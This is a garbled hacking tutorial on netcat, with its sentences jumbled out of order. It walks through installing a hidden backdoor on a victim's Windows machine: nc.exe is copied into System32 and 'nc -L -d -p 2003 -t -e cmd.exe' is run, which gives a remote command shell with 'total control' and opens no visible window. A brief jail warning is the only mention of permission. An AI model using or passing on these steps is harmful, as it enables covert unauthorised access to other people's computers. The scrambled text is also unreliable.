d - tells netcat to detach (don't open up a window on the victem's computer when listening) L - tells netcat to stay open and listen (set up a backdoor) Otherwise you can go to jail for hacking illegally!
#Netcat windows backdoor install
You can go to jail warning: You need to have permission to install the nc.exe file onto someone’s computer. (So if you were to telnet to the victem's computer on port 2003, you would get a command prompt from which you have total control over the system.) What did this do? It set up a backdoor that would open up a MS-DOS shell when connected to at port 2003. Get a copy of the nc.exe file onto the target C:\WINDOWS\System32\ directory and run the command "nc -L -d -p 2003 -t -e cmd.exe" (without the quotes). So how do you do it? Let's cover Windows NT/2000/XP first. This is way easier than programming backdoors using sockets, and easier than editing nf entries. Next, I'll discuss one of my favorite parts of the program: it allows you to set up backdoor ports on a compromised system. It's just like using telnet but has many more features that I'll now cover. That would connect to 10.0.0.1 on port number 23.
port to connect to on the IP or hostname Now type the following command and hit the ENTER key:
#Netcat windows backdoor how to
For UNIX, you should already know how to get to it. For Windows, this will mean Start -> Programs -> Accessories -> MS-DOS Prompt or Start -> Programs -> MS-DOS Prompt or Start -> All Programs -> Accessories -> Command Prompt. Open up the command prompt for your system. On UNIX, you'll need to get the appropriate version, unpack it, and then view the readme for install instructions. Just make sure that you copy the nc.exe file to the C:\WINDOWS\System32 or C:\WINNT\System32 directory when on Windows NT/2000/XP.
For Windows, get the right version and unzip it to whatever directory you like. Obviously you're going to first download and install netcat. If it's something else like Z: then just change accordingly. NOTE: From here on I'm assuming that Windows is installed onto drive C.
So, first off lets show netcat as a telnet client. (Speaking of which, it's just best to read all of the GTMHH first.) There are also countless other sites out there that have netcat for download.īut before you read this guide, you should probably already know how to use telnet and write batch files, both of which can be located on the main GTMHH page. Even better, it runs on Windows and Unix! Where can you get it? It was developed by the l0pht, which is now ( ), so you can get it there. So just what is it? It's basically a buffed up version of telnet that has many options that allow it to do many things - at which I'll try to cover in this article. If you haven't ever used netcat before, you're missing out on one of the greatest programs I've ever used for hacking.
